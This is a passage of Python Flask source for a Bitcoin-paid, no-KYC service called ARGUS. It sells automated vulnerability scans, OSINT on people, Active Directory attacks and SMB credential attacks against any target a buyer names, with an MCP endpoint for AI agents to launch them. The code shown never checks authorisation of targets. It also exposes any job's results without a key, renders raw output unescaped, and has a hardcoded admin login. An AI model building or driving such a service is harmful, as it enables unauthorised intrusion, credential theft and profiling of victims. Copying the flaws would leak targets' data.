<footer><div class=wrap>Bitcoin only · No KYC · <a href=/>← return to the watch</a></div></footer>
</div>{BG_JS}</body></html>"""
def landing():
cards = ""
for key, name, sats, desc in [
("web-vuln", "Vulnerability Scan", 4000, "nuclei + ffuf + nmap + sqlmap + wpscan against your target. Real CVE checks."),
("osint", "OSINT Investigation", 2500, "Usernames, emails, domains — a deep-recon pass across 24 tools."),
("ad-audit", "AD / Windows Audit", 5000, "impacket secretsdump + kerberoast + asreproast + winPEAS against an Active Directory target."),
("creds", "Credential Attack", 3500, "crackmapexec + enum4linux + hydra SMB credential testing."),
("monitor", "Continuous Monitoring", 15000, "The agent re-scans on schedule and alerts on change.")]:
cards += f"""<div class=card><h3>{name}</h3><p>{desc}</p>
<div class=sats>{sats:,} <small>sats</small></div></div>"""
# MCP subscription card
cards += f"""<div class=card style="border-color:var(--acc2)"><h3>Red-Team MCP Endpoint <span style=color:var(--acc2)>◆</span></h3>
<p>Subscribe weekly and plug ARGUS straight into your AI agent as a Model Context Protocol server — list tools, call scans, read reports, all over /mcp.</p>
<div class=sats>20,000 <small>sats / wk</small></div></div>"""
return f"""<!doctype html><html><head><meta charset=utf-8>
<meta name=viewport content="width=device-width,initial-scale=1">
<title>ARGUS — The Hundred-Eyed Watchman</title>
<style>{STYLE}</style></head><body>
<div id=bg></div>
<div class=content>
{_nav()}
<section class=hero><div class=wrap>
<div class=eyebrow>ARGUS PANOPTES <span class=blink>▋</span> the hundred-eyed watchman</div>
<h1>Every eye open.<br><span>Nothing escapes the gaze.</span></h1>
<p>ARGUS is an autonomous offensive security agent. It turns a hundred real attack tools across three war machines — Kali, Commando, and Trace Labs — on whatever you point it at, then an AI cortex reads every result back as a report you can act on. Settled in Bitcoin.</p>
<div class=terminal><div class=bar><i class=r></i><i class=y></i><i class=g></i><span>argus — watchtower session</span></div>
<div class=body id=term></div></div>
<div class=actions><a class="btn primary" href=#scan>Run a scan</a><a class="btn ghost" href=/docs>Read the API</a></div>
</div></section>
<section class=section><div class=wrap>
<h2>What ARGUS watches</h2><p class=sub>Five services, plus a paid MCP endpoint for your agents.</p>
<div class=grid>{cards}</div>
</div></section>
<section id=scan><div class=wrap><div class=panel>
<h3>Open an eye</h3><p style=color:var(--dim);font-size:.92rem>Pick a service, name a target, pay in sats. Results appear live in your browser.</p>
<form method=POST action=/submit>
<label>Service</label>
<div class=radios>
<label><input type=radio name=kind value=web-vuln checked onchange=showOpt()> Vulnerability Scan — 4,000 sats</label>
<label><input type=radio name=kind value=osint onchange=showOpt()> OSINT Investigation — 2,500 sats</label>
<label><input type=radio name=kind value=ad-audit onchange=showOpt()> AD / Windows Audit — 5,000 sats</label>
<label><input type=radio name=kind value=creds onchange=showOpt()> Credential Attack — 3,500 sats</label>
<label><input type=radio name=kind value=monitor onchange=showOpt()> Continuous Monitoring — 15,000 sats/mo</label>
</div>
<label>Target (domain, IP, username, or email)</label>
<input type=text name=target placeholder="example.com" required>
<div id=adfields class=opt>
<label>Username <small style=color:var(--dim)>(optional, for authenticated AD/cred attacks)</small></label>
<input type=text name=username placeholder="DOMAIN\\user">
<label>Password <small style=color:var(--dim)>(optional)</small></label>
<input type=password name=password placeholder="••••••••">
<label>Domain <small style=color:var(--dim)>(optional)</small></label>
<input type=text name=domain placeholder="corp.local">
</div>
<label>Email</label>
<input type=email name=email placeholder="you@example.com" required>
<div class=actions style=margin-top:24px><button class="btn primary" type=submit>Continue to payment →</button></div>
</form>
</div></div></section>
<section id=mcp><div class=wrap><div class=panel>
<h3>Subscribe for MCP access</h3><p style=color:var(--dim);font-size:.92rem>Pay weekly in Bitcoin to expose ARGUS as a Model Context Protocol endpoint at <code style=color:var(--acc)>/mcp</code> — your AI agents list tools and call scans directly.</p>
<form method=POST action=/subscribe>
<label>Plan</label>
<div class=radios>
<label><input type=radio name=plan value=mcp-weekly checked> Weekly — 20,000 sats (7 days)</label>
<label><input type=radio name=plan value=mcp-monthly> Monthly — 60,000 sats (30 days)</label>
</div>
<label>Your API key (or blank to mint one)</label>
<input type=text name=api_key placeholder="argus_... (leave blank to create)">
<label>Email</label>
<input type=email name=email placeholder="you@example.com" required>
<div class=actions style=margin-top:24px><button class="btn primary" type=submit>Subscribe →</button></div>
</form>
</div></div></section>
<footer><div class=wrap>
Pay ARGUS directly:<br><span class=addr>{STORE_ADDR}</span><br><br>
Bitcoin only · No KYC · No tracking · <a href=/docs>API docs</a> · <a href=https://buymeacoffee.com/r26xrthzttg>Support the build</a><br>
indianaholmes@thetempleofdoom.com
</div></footer>
</div>
{BG_JS}
{TERMINAL_JS}
<script>
function showOpt(){{
var k=document.querySelector('input[name=kind]:checked').value;
document.getElementById('adfields').className='opt'+(k==='ad-audit'||k==='creds'?' show':'');
}}
</script></body></html>"""
REPORT = """<!doctype html><html><head><meta charset=utf-8>
<meta name=viewport content="width=device-width,initial-scale=1">
<title>ARGUS — Live Report</title><style>{STYLE}</style></head><body>
<div id=bg></div><div class=content>
{_nav()}
<div class=wrap style=padding-top:50px>
<h1 style=font-size:2rem>Scan Report</h1>
<p style=color:var(--dim);margin-top:8px><b>Target:</b> {{job.target}} &nbsp;·&nbsp; <b>Type:</b> {{job.kind}} &nbsp;·&nbsp; <span class="status {{job.status}}">{{job.status}}</span></p>
<div id=body>
{% if job.status == 'unpaid' %}
<p style=margin-top:20px>Awaiting payment. <a href="{{inv}}" style=color:var(--acc)>Complete payment</a>, then this page updates automatically.</p>
{% elif job.status in ('running','pending') %}
<p style=margin-top:20px>The agent is hunting. <span id=spin>▋</span></p>
{% elif job.status == 'done' %}
<div class=report>{{report|safe}}</div>
<details style=margin-top:16px><summary style=cursor:pointer;color:var(--dim)>Raw tool output</summary><pre>{{raw}}</pre></details>
{% elif job.status == 'failed' %}
<div class=report><p style=color:#f87171>{{report}}</p></div>
{% endif %}
</div>
</div>
</div>
{BG_JS}
<script>
function poll(){fetch('/api/job/{{job.id}}').then(r=>r.json()).then(d=>{
if(d.status==='done'||d.status==='failed'){location.reload();}
else{var s=document.getElementById('spin');if(s)s.textContent=(s.textContent===''?'':s.textContent===''?'':'');setTimeout(poll,3000);}
}).catch(()=>setTimeout(poll,4000));}
if({{'1' if job.status in ('running','pending') else '0'}}){setTimeout(poll,2500);}
</script>
</body></html>"""
# ─── API DOCS (code snippets kept OUTSIDE f-strings to avoid quote clash) ────
SNIP_KEYS = """POST /api/keys HTTP/1.1
Content-Type: application/json
{ "email": "you@example.com", "label": "my first agent" }"""
SNIP_KEYS_RES = """200 OK
{ "api_key": "argus_9f3a...", "email": "you@example.com" }"""
SNIP_SCAN = """POST /api/scan HTTP/1.1
Content-Type: application/json
X-API-Key: argus_9f3a...
{
"kind": "web-vuln",
"target": "example.com",
"email": "you@example.com"
}"""
SNIP_SCAN_RES = """200 OK
{
"job_id": "9f3a2b1c0d4e",
"status": "unpaid",
"sats": 4000,
"checkout": "https://btcpay.thetempleofdoom.com/i/...",
"report_url": "https://argus.thetempleofdoom.com/report/9f3a2b1c0d4e",
"poll": "/api/job/9f3a2b1c0d4e"
}"""
SNIP_JOB_CURL = """curl -s https://argus.thetempleofdoom.com/api/job/9f3a2b1c0d4e | jq ."""
SNIP_JOB_RES = """200 OK
{ "status": "done", "report": "# Findings\\n...", "raw": "{...tool output...}" }"""
SNIP_JOBS_CURL = """curl -s "https://argus.thetempleofdoom.com/api/jobs?key=argus_9f3a..." | jq ."""
SNIP_TOOLS_CURL = """curl -s https://argus.thetempleofdoom.com/api/tools | jq ."""
SNIP_SUB = """POST /api/subscribe HTTP/1.1
Content-Type: application/json
{ "email": "you@example.com", "plan": "mcp-weekly" }"""
SNIP_SUB_RES = """200 OK
{
"api_key": "argus_9f3a...",
"plan": "mcp-weekly",
"sats": 20000,
"checkout": "https://btcpay.thetempleofdoom.com/i/..."
}"""
SNIP_MCP_INIT = """POST /mcp HTTP/1.1
Content-Type: application/json
X-API-Key: argus_9f3a...
{ "jsonrpc": "2.0", "id": 1, "method": "initialize",
"params": { "protocolVersion": "2024-11-05", "capabilities": {},
"clientInfo": { "name": "my-agent", "version": "1.0" } } }"""
SNIP_MCP_TOOLS = """POST /mcp HTTP/1.1
Content-Type: application/json
X-API-Key: argus_9f3a...
{ "jsonrpc": "2.0", "id": 2, "method": "tools/list" }"""
SNIP_MCP_CALL = """POST /mcp HTTP/1.1
Content-Type: application/json
X-API-Key: argus_9f3a...
{ "jsonrpc": "2.0", "id": 3, "method": "tools/call",
"params": { "name": "argus_scan",
"arguments": { "kind": "web-vuln", "target": "example.com", "email": "you@example.com" } } }"""
def _code(lang, code):
import html
return '<div class=code-block><span class=lang>' + lang + '</span><pre>' + html.escape(code) + '</pre></div>'
def _tbl(rows):
head = "".join("<th>" + h + "</th>" for h in rows[0])
body = "".join("<tr>" + "".join("<td>" + c + "</td>" for c in r) + "</tr>" for r in rows[1:])
return '<table class=tbl><tr>' + head + '</tr>' + body + '</table>'
def docs_page():
parts = []
parts.append(f"""<!doctype html><html><head><meta charset=utf-8>
<meta name=viewport content="width=device-width,initial-scale=1">
<title>ARGUS — API Reference</title><style>{STYLE}</style></head><body>
<div id=bg></div><div class=content>
{_nav()}
<div class=wrap><div class=docs>
<h1 style=font-size:2.4rem;margin-top:30px>API Reference</h1>
<p style=color:var(--dim);max-width:680px;margin:12px 0 0>ARGUS is <b>agent-native</b> — built to be driven by code, not clicks. Mint an API key, submit scans as JSON, poll for results. Machine-readable OpenAPI at <a href=/openapi.json style=color:var(--acc)>/openapi.json</a>.</p>
<div class=auth-note><b>Base URL:</b> <code>https://argus.thetempleofdoom.com</code> &nbsp;·&nbsp; <b>Auth:</b> pass your key as <code>X-API-Key: &lt;key&gt;</code>. Keys are free; scans are settled in Bitcoin (sats). MCP access requires a paid subscription.</div>
<h3>Authentication</h3>
<div class=endpoint>
<div class=head><span class="method m-POST">POST</span><code class=path>/api/keys</code></div>
<div class=desc><b>Mint an API key.</b> Identifies you so the watchman can tie scans to a caller. No cost.</div>
<div class=desc style=padding-top:0>""")
parts.append(_code("json", SNIP_KEYS))
parts.append(_tbl([
("Field", "Type", "Notes"),
("<code>email</code>", "string", "required — where results are delivered"),
("<code>label</code>", "string", "optional — human name for this key"),
]))
parts.append(_code("response", SNIP_KEYS_RES))
parts.append("""</div>
</div>
<h3>Launching scans</h3>
<div class=endpoint>
<div class=head><span class="method m-POST">POST</span><code class=path>/api/scan</code></div>
<div class=desc><b>Submit a scan programmatically.</b> Returns a job id and a Bitcoin invoice. The scan fires the moment the invoice settles.</div>
<div class=desc style=padding-top:0>""")
parts.append(_code("json", SNIP_SCAN))
parts.append(_tbl([
("Field", "Type", "Notes"),
("<code>kind</code>", "string", "web-vuln · osint · ad-audit · creds · monitor"),
("<code>target</code>", "string", "domain, IP, username, or email"),
("<code>email</code>", "string", "required — result delivery"),
("<code>username</code>", "string", "optional — for ad-audit / creds"),
("<code>password</code>", "string", "optional — for ad-audit / creds"),
("<code>domain</code>", "string", "optional — AD domain"),
]))
parts.append(_code("response", SNIP_SCAN_RES))
parts.append("""</div>
</div>
<h3>Reading results</h3>
<div class=endpoint>
<div class=head><span class="method m-GET">GET</span><code class=path>/api/job/&lt;job_id&gt;</code></div>
<div class=desc><b>Poll a job's status.</b> The watchman works asynchronously — call this until <code>status</code> is <code>done</code> or <code>failed</code>.</div>
<div class=desc style=padding-top:0>""")
parts.append(_code("bash", SNIP_JOB_CURL))
parts.append(_code("response", SNIP_JOB_RES))
parts.append(_tbl([
("status", "meaning"),
("<code>unpaid</code>", "invoice not yet settled"),
("<code>running</code>", "tools are executing"),
("<code>done</code>", "report ready"),
("<code>failed</code>", "scan errored — report holds the reason"),
]))
parts.append("""</div>
</div>
<div class=endpoint>
<div class=head><span class="method m-GET">GET</span><code class=path>/api/jobs?key=&lt;key&gt;</code></div>
<div class=desc><b>List your scans.</b> Every job tied to a given API key.</div>
<div class=desc style=padding-top:0>""")
parts.append(_code("bash", SNIP_JOBS_CURL))
parts.append("""</div>
</div>
<h3>MCP subscription (paid)</h3>
<div class=endpoint>
<div class=head><span class="method m-POST">POST</span><code class=path>/api/subscribe</code></div>
<div class=desc><b>Subscribe for MCP access.</b> Pay a weekly (or monthly) Bitcoin invoice; on settlement your key is authorized to drive the /mcp endpoint until expiry. No KYC.</div>
<div class=desc style=padding-top:0>""")
parts.append(_code("json", SNIP_SUB))
parts.append(_tbl([
("Field", "Type", "Notes"),
("<code>email</code>", "string", "required"),
("<code>plan</code>", "string", "mcp-weekly (20k sats/7d) · mcp-monthly (60k sats/30d)"),
("<code>api_key</code>", "string", "optional — omit to mint a new key"),
]))
parts.append(_code("response", SNIP_SUB_RES))
parts.append("""</div>
</div>
<div class=endpoint>
<div class=head><span class="method m-POST">POST</span><code class=path>/mcp</code></div>
<div class=desc><b>The red-team MCP endpoint.</b> A Model Context Protocol server over HTTP. Requires an active subscription (X-API-Key). Speaks JSON-RPC 2.0 — <code>initialize</code>, <code>tools/list</code>, <code>tools/call</code>.</div>
<div class=desc style=padding-top:0>""")
parts.append(_code("json", SNIP_MCP_INIT))
parts.append(_code("json", SNIP_MCP_TOOLS))
parts.append(_code("json", SNIP_MCP_CALL))
parts.append(_tbl([
("tool", "purpose"),
("<code>argus_arsenal</code>", "list every service, tool, and price"),
("<code>argus_scan</code>", "launch a scan — returns job id + BTC invoice"),
("<code>argus_status</code>", "poll a job's status / report / raw output"),
("<code>argus_jobs</code>", "list jobs tied to your key"),
]))
parts.append("""</div>
</div>
<h3>Discovering the arsenal</h3>
<div class=endpoint>
<div class=head><span class="method m-GET">GET</span><code class=path>/api/tools</code></div>
<div class=desc><b>The full armory.</b> Every tool and service ARGUS can run, as JSON — for agents to introspect before choosing a scan.</div>
<div class=desc style=padding-top:0>""")
parts.append(_code("bash", SNIP_TOOLS_CURL))
parts.append("""</div>
</div>
<div class=endpoint>
<div class=head><span class="method m-GET">GET</span><code class=path>/openapi.json</code></div>
<div class=desc><b>Machine-readable OpenAPI 3.0</b> spec of this entire surface. Feed it to any client generator.</div>
</div>
<div class=endpoint>
<div class=head><span class="method m-POST">POST</span><code class=path>/webhook/btcpay</code></div>
<div class=desc><b>Internal — BTCPay settlement webhook.</b> Do not call directly; ARGUS uses it to fire scans and activate subscriptions on payment.</div>
</div>
<footer style=margin-top:60px><div class=wrap>Bitcoin only · No KYC · <a href=/>return to the watch</a></div></footer>
</div></div>
{BG_JS}
</body></html>""")
return "".join(parts)
# ─── OPENAPI SPEC ────────────────────────────────────────────────────────────
OPENAPI = {
"openapi": "3.0.0",
"info": {"title": "ARGUS — Autonomous Security Agent", "version": "4.0.0",
"description": "Rentable AI offensive-security agent. Bitcoin-settled, agent-native. MCP endpoint for subscribers."},
"servers": [{"url": "https://argus.thetempleofdoom.com"}],
"paths": {
"/api/keys": {"post": {
"summary": "Mint an API key",
"requestBody": {"required": True, "content": {"application/json": {"schema": {
"type": "object", "required": ["email"],
"properties": {"email": {"type": "string"}, "label": {"type": "string"}}}}}},
"responses": {"200": {"description": "api_key issued"}},
}},
"/api/login": {"post": {
"summary": "Premium/owner login (permanent subscription key)",
"requestBody": {"required": True, "content": {"application/json": {"schema": {
"type": "object", "required": ["username", "password"],
"properties": {"username": {"type": "string"}, "password": {"type": "string"}}}}}},
"responses": {"200": {"description": "premium api_key"}, "401": {"description": "invalid credentials"}},
}},
"/api/scan": {"post": {
"summary": "Submit a scan (returns BTC invoice)",
"parameters": [{"name": "X-API-Key", "in": "header", "schema": {"type": "string"}}],
"requestBody": {"required": True, "content": {"application/json": {"schema": {
"type": "object", "required": ["kind", "target", "email"],
"properties": {
"kind": {"type": "string", "enum": list(PRICES_SATS.keys())},
"target": {"type": "string"}, "email": {"type": "string"},
"username": {"type": "string"}, "password": {"type": "string"}, "domain": {"type": "string"}}}}}},
"responses": {"200": {"description": "job_id + invoice + checkout link"}},
}},
"/api/job/{job_id}": {"get": {
"summary": "Poll job status",
"parameters": [{"name": "job_id", "in": "path", "required": True, "schema": {"type": "string"}}],
"responses": {"200": {"description": "status, report, raw"}},
}},
"/api/jobs": {"get": {
"summary": "List jobs for a key",
"parameters": [{"name": "key", "in": "query", "schema": {"type": "string"}}],
"responses": {"200": {"description": "array of jobs"}},
}},
"/api/subscribe": {"post": {
"summary": "Subscribe for MCP access (BTC invoice)",
"requestBody": {"required": True, "content": {"application/json": {"schema": {
"type": "object", "required": ["email", "plan"],
"properties": {"email": {"type": "string"},
"plan": {"type": "string", "enum": list(MCP_PLANS.keys())},
"api_key": {"type": "string"}}}}}},
"responses": {"200": {"description": "api_key + invoice + checkout link"}},
}},
"/api/tools": {"get": {"summary": "Full arsenal inventory", "responses": {"200": {"description": "services + tools"}}}},
},
}
# ─── MCP TOOL DEFINITIONS ────────────────────────────────────────────────────
MCP_TOOLS = [
{"name": "argus_arsenal", "description": "List every ARGUS service, tool, and price (sats). Use to introspect before launching a scan.",
"inputSchema": {"type": "object", "properties": {}, "required": []}},
{"name": "argus_scan", "description": "Launch an offensive security scan. Returns a job id and a Bitcoin invoice; the scan fires once paid. kind: web-vuln | osint | ad-audit | creds | monitor.",
"inputSchema": {"type": "object", "required": ["kind", "target", "email"],
"properties": {"kind": {"type": "string", "enum": list(PRICES_SATS.keys())},
"target": {"type": "string"},
"email": {"type": "string"},
"username": {"type": "string"},
"password": {"type": "string"},
"domain": {"type": "string"}}}},
{"name": "argus_status", "description": "Poll a scan job by id — returns status, report, and raw tool output.",
"inputSchema": {"type": "object", "required": ["job_id"],
"properties": {"job_id": {"type": "string"}}}},
{"name": "argus_jobs", "description": "List recent scan jobs tied to the calling API key.",
"inputSchema": {"type": "object", "properties": {}, "required": []}},
]
# ─── FLASK ───────────────────────────────────────────────────────────────────
app = Flask(__name__)
app.secret_key = SECRET
@app.route("/")
def index(): return render_template_string(landing())
@app.route("/capabilities")
def capabilities(): return render_template_string(capabilities_page())
@app.route("/docs")
def docs(): return render_template_string(docs_page())
@app.route("/openapi.json")
def openapi(): return jsonify(OPENAPI)
@app.route("/report/<job_id>")
def report(job_id):
db = get_db()
job = db.execute("SELECT * FROM jobs WHERE id=?", (job_id,)).fetchone()
if not job: return "Not found", 404
inv = f"{BTCPAY_PUBLIC}/i/{job['invoice_id']}" if job.get("invoice_id") else "#"
return render_template_string(REPORT, job=job, inv=inv, raw=job.get("raw") or "",
report=job.get("report") or "")
@app.route("/api/job/<job_id>")
def job_status(job_id):
db = get_db()
job = db.execute("SELECT id,status,report,raw FROM jobs WHERE id=?", (job_id,)).fetchone()
if not job: return jsonify({"error": "not found"}), 404
return jsonify({"status": job["status"], "report": job["report"], "raw": job["raw"]})
@app.route("/api/jobs")
def job_list():
key = request.args.get("key", "")
db = get_db()
if not key_valid(key):
return jsonify({"error": "valid API key required (?key=...)"}), 401
rows = db.execute("""SELECT j.id,j.kind,j.target,j.status,j.created_at
FROM jobs j JOIN api_keys k ON k.email = j.email
WHERE k.key=? ORDER BY j.created_at DESC LIMIT 50""", (key,)).fetchall()
return jsonify([dict(r) for r in rows])
@app.route("/api/tools")
def api_tools():
"""Programmatic inventory of the full ARGUS arsenal (for agents)."""
out = {}
for cat, tools in ARSENAL:
out[cat] = [{"name": n, "desc": d} for n, d in tools]
return jsonify({"services": list(PRICES_SATS.keys()), "prices_sats": PRICES_SATS,
"mcp_plans": {k: {"sats": v["sats"], "label": v["label"]} for k, v in MCP_PLANS.items()},
"arsenal": out})
@app.route("/api/keys", methods=["POST"])
def api_keys():
data = request.get_json(silent=True) or request.form
email = (data.get("email") or "").strip()
label = (data.get("label") or "").strip()
if not email or "@" not in email:
return jsonify({"error": "valid email required"}), 400
key = mint_key(email, label)
return jsonify({"api_key": key, "email": email})
@app.route("/api/login", methods=["POST"])
def api_login():
"""Premium/owner login — returns an admin key with a permanent subscription
so the owner drives the full API + /mcp without paying."""
data = request.get_json(silent=True) or request.form
u = (data.get("username") or data.get("email") or "").strip()
p = (data.get("password") or "").strip()
if u != ADMIN_USER or p != ADMIN_PASS:
return jsonify({"error": "invalid credentials"}), 401
db = get_db()
# reuse a stable admin key if one already has a permanent sub
row = db.execute("""SELECT s.key FROM subscriptions s
WHERE s.plan='premium' AND s.expires_at >= '2099-01-01T00:00:00+00:00'
LIMIT 1""").fetchone()
if row:
key = row["key"]
else:
key = "argus_admin_" + uuid.uuid4().hex
db.execute("INSERT OR IGNORE INTO api_keys (key,email,label) VALUES (?,?,?)",
(key, "drjones@thetempleofdoom.com", "premium admin"))
db.execute("""INSERT INTO subscriptions (key,email,plan,expires_at) VALUES (?,?,?,?)
ON CONFLICT(key) DO UPDATE SET plan='premium', expires_at=excluded.expires_at""",
(key, "drjones@thetempleofdoom.com", "premium", "2099-01-01T00:00:00+00:00"))
db.commit()
return jsonify({"api_key": key, "premium": True, "plan": "premium",
"expires_at": "2099-01-01T00:00:00+00:00",
"mcp_endpoint": f"{PUBLIC_BASE}/mcp"})
@app.route("/api/scan", methods=["POST"])
def api_scan():
data = request.get_json(silent=True) or request.form
key = request.headers.get("X-API-Key", "") or data.get("api_key", "")
if not key_valid(key):
return jsonify({"error": "valid API key required (X-API-Key header)"}), 401
kind = data.get("kind", "web-vuln")
target = (data.get("target") or "").strip()
email = (data.get("email") or "").strip()
if kind not in PRICES_SATS:
return jsonify({"error": "unknown kind", "valid": list(PRICES_SATS.keys())}), 400
if not target or not email:
return jsonify({"error": "target and email required"}), 400
params = {"username": (data.get("username") or "").strip(),
"password": (data.get("password") or "").strip(),
"domain": (data.get("domain") or "").strip()}
sats = PRICES_SATS[kind]
job_id = uuid.uuid4().hex[:12]
db = get_db()
db.execute("INSERT INTO jobs (id,email,kind,target,status,params) VALUES (?,?,?,?,?,?)",
(job_id, email, kind, target, "unpaid", json.dumps(params))); db.commit()
link, inv_id = btcpay_create_invoice(sats, job_id, f"ARGUS {kind} {target}",
redirect=f"{PUBLIC_BASE}/report/{job_id}")
if not link:
return jsonify({"error": "payment init failed", "detail": inv_id}), 502
db.execute("UPDATE jobs SET invoice_id=? WHERE id=?", (inv_id, job_id)); db.commit()
return jsonify({"job_id": job_id, "status": "unpaid", "sats": sats,
"checkout": link, "report_url": f"{PUBLIC_BASE}/report/{job_id}",
"poll": f"/api/job/{job_id}"})
@app.route("/api/subscribe", methods=["POST"])
def api_subscribe():
data = request.get_json(silent=True) or request.form
email = (data.get("email") or "").strip()
plan = (data.get("plan") or "mcp-weekly").strip()
key = (data.get("api_key") or "").strip()
if plan not in MCP_PLANS:
return jsonify({"error": "unknown plan", "valid": list(MCP_PLANS.keys())}), 400
if not email or "@" not in email:
return jsonify({"error": "valid email required"}), 400
if not key:
key = mint_key(email, "mcp")
elif not key_valid(key):
return jsonify({"error": "invalid api_key"}), 400
sats = MCP_PLANS[plan]["sats"]
order_id = "sub_" + uuid.uuid4().hex[:12]
# persist the pending subscription intent keyed by order_id -> (key, email, plan)
db = get_db()
db.execute("""CREATE TABLE IF NOT EXISTS sub_orders (
order_id TEXT PRIMARY KEY, api_key TEXT, email TEXT, plan TEXT,
created_at TEXT DEFAULT (datetime('now')))""")
db.execute("INSERT INTO sub_orders (order_id, api_key, email, plan) VALUES (?,?,?,?)",
(order_id, key, email, plan)); db.commit()
link, inv_id = btcpay_create_invoice(sats, order_id, f"ARGUS MCP subscription — {plan}",
redirect=f"{PUBLIC_BASE}/docs")
if not link:
return jsonify({"error": "payment init failed", "detail": inv_id}), 502
return jsonify({"api_key": key, "plan": plan, "sats": sats,
"checkout": link, "mcp_endpoint": f"{PUBLIC_BASE}/mcp"})
@app.route("/subscribe", methods=["POST"])
def subscribe_form():
email = request.form.get("email", "").strip()
plan = request.form.get("plan", "mcp-weekly").strip()
key = request.form.get("api_key", "").strip()
if plan not in MCP_PLANS:
return render_template_string(landing() + "<script>alert('Invalid plan')</script>"), 400
if not email or "@" not in email:
return render_template_string(landing() + "<script>alert('Valid email required')</script>"), 400
if not key:
key = mint_key(email, "mcp")
sats = MCP_PLANS[plan]["sats"]
order_id = "sub_" + uuid.uuid4().hex[:12]
db = get_db()
db.execute("""CREATE TABLE IF NOT EXISTS sub_orders (
order_id TEXT PRIMARY KEY, api_key TEXT, email TEXT, plan TEXT,
created_at TEXT DEFAULT (datetime('now')))""")
db.execute("INSERT INTO sub_orders (order_id, api_key, email, plan) VALUES (?,?,?,?)",
(order_id, key, email, plan)); db.commit()
link, inv_id = btcpay_create_invoice(sats, order_id, f"ARGUS MCP subscription — {plan}",
redirect=f"{PUBLIC_BASE}/docs")
if link:
return f'<meta http-equiv="refresh" content="0;url={link}">'
return render_template_string(landing() + f"<script>alert('Payment init failed: {inv_id}')</script>")
@app.route("/mcp", methods=["POST", "GET"])
def mcp_endpoint():
"""Model Context Protocol server over HTTP (JSON-RPC 2.0). Subscription-gated."""
key = request.headers.get("X-API-Key", "") or request.args.get("key", "")
if not sub_active(key):
return jsonify({"jsonrpc": "2.0", "id": None,
"error": {"code": -32001, "message": "Active MCP subscription required. POST /api/subscribe to pay."}}), 402
if request.method == "GET":
return jsonify({"name": "ARGUS", "protocol": "mcp", "version": "4.0.0",
"auth": "X-API-Key (subscription required)"})
body = request.get_json(silent=True)
if not body:
return jsonify({"jsonrpc": "2.0", "id": None, "error": {"code": -32700, "message": "invalid json"}}), 400
method = body.get("method", "")
rid = body.get("id", None)
if method == "initialize":
return jsonify({"jsonrpc": "2.0", "id": rid, "result": {
"protocolVersion": "2024-11-05",
"capabilities": {"tools": {}},
"serverInfo": {"name": "ARGUS", "version": "4.0.0"}}})
if method == "notifications/initialized":
return Response("", 202)
if method == "ping":
return jsonify({"jsonrpc": "2.0", "id": rid, "result": {}})
if method == "tools/list":
return jsonify({"jsonrpc": "2.0", "id": rid, "result": {"tools": MCP_TOOLS}})
if method == "tools/call":
p = body.get("params", {})
name = p.get("name", "")
args = p.get("arguments", {}) or {}
try:
if name == "argus_arsenal":
out = {}
for cat, tools in ARSENAL:
out[cat] = [{"name": n, "desc": d} for n, d in tools]
text = json.dumps({"services": list(PRICES_SATS.keys()), "prices_sats": PRICES_SATS, "arsenal": out}, indent=2)
elif name == "argus_scan":
kind = args.get("kind", "web-vuln")
target = (args.get("target") or "").strip()
email = (args.get("email") or "").strip()
if kind not in PRICES_SATS:
text = json.dumps({"error": "unknown kind", "valid": list(PRICES_SATS.keys())})
elif not target or not email:
text = json.dumps({"error": "target and email required"})
else:
params = {"username": args.get("username", "").strip(),
"password": args.get("password", "").strip(),
"domain": args.get("domain", "").strip()}
job_id = uuid.uuid4().hex[:12]
db = get_db()
db.execute("INSERT INTO jobs (id,email,kind,target,status,params) VALUES (?,?,?,?,?,?)",
(job_id, email, kind, target, "unpaid", json.dumps(params))); db.commit()
link, inv_id = btcpay_create_invoice(PRICES_SATS[kind], job_id, f"ARGUS {kind} {target}",
redirect=f"{PUBLIC_BASE}/report/{job_id}")
db.execute("UPDATE jobs SET invoice_id=? WHERE id=?", (inv_id, job_id)); db.commit()
text = json.dumps({"job_id": job_id, "status": "unpaid", "sats": PRICES_SATS[kind],
"checkout": link, "report_url": f"{PUBLIC_BASE}/report/{job_id}",
"poll": f"/api/job/{job_id}"})
elif name == "argus_status":
job_id = args.get("job_id", "")
db = get_db()
job = db.execute("SELECT id,status,report,raw FROM jobs WHERE id=?", (job_id,)).fetchone()
text = json.dumps(dict(job)) if job else json.dumps({"error": "not found"})
elif name == "argus_jobs":
email = key_email(key)
db = get_db()
rows = db.execute("SELECT id,kind,target,status,created_at FROM jobs WHERE email=? ORDER BY created_at DESC LIMIT 50", (email,)).fetchall()
text = json.dumps([dict(r) for r in rows])
else:
text = json.dumps({"error": f"unknown tool '{name}'"})
return jsonify({"jsonrpc": "2.0", "id": rid, "result": {"content": [{"type": "text", "text": text}]}})
except Exception as e:
return jsonify({"jsonrpc": "2.0", "id": rid, "error": {"code": -32000, "message": str(e)}})
return jsonify({"jsonrpc": "2.0", "id": rid, "error": {"code": -32601, "message": f"method not found: {method}"}})
@app.route("/submit", methods=["POST"])
def submit():
kind = request.form.get("kind", "web-vuln")
target = request.form.get("target", "").strip()
email = request.form.get("email", "").strip()
params = {
"username": request.form.get("username", "").strip(),
"password": request.form.get("password", "").strip(),
"domain": request.form.get("domain", "").strip(),
}
if not target or not email:
return render_template_string(landing() + "<script>alert('Target and email required')</script>"), 400
sats = PRICES_SATS.get(kind, 4000)
job_id = uuid.uuid4().hex[:12]
db = get_db()
db.execute("INSERT INTO jobs (id,email,kind,target,status,params) VALUES (?,?,?,?,?,?)",
(job_id, email, kind, target, "unpaid", json.dumps(params))); db.commit()
link, inv_id = btcpay_create_invoice(sats, job_id, f"ARGUS {kind} {target}",
redirect=f"{PUBLIC_BASE}/report/{job_id}")
if link:
db.execute("UPDATE jobs SET invoice_id=? WHERE id=?", (inv_id, job_id)); db.commit()
return f'<meta http-equiv="refresh" content="0;url={link}">'
return render_template_string(landing() + f"<script>alert('Payment init failed: {inv_id}')</script>")
@app.route("/webhook/btcpay", methods=["POST"])
def btcpay_webhook():
raw = request.get_data()
if not btcpay_verify(request.headers.get("BTCPay-Sig", ""), raw):
return "bad sig", 401
data = request.get_json(force=True)
if data.get("type") == "InvoiceSettled":
inv = data.get("invoice", {})
order_id = (inv.get("metadata", {}) or {}).get("orderId")
if not order_id:
return "ok", 200
db = get_db()
# subscription settlement
if order_id.startswith("sub_"):
row = db.execute("SELECT * FROM sub_orders WHERE order_id=?", (order_id,)).fetchone()
if row:
exp = extend_subscription(row["api_key"], row["email"], row["plan"])
db.execute("DELETE FROM sub_orders WHERE order_id=?", (order_id,))
db.commit()
return "ok", 200
# scan settlement
job = db.execute("SELECT * FROM jobs WHERE id=?", (order_id,)).fetchone()
if job and job["status"] == "unpaid":
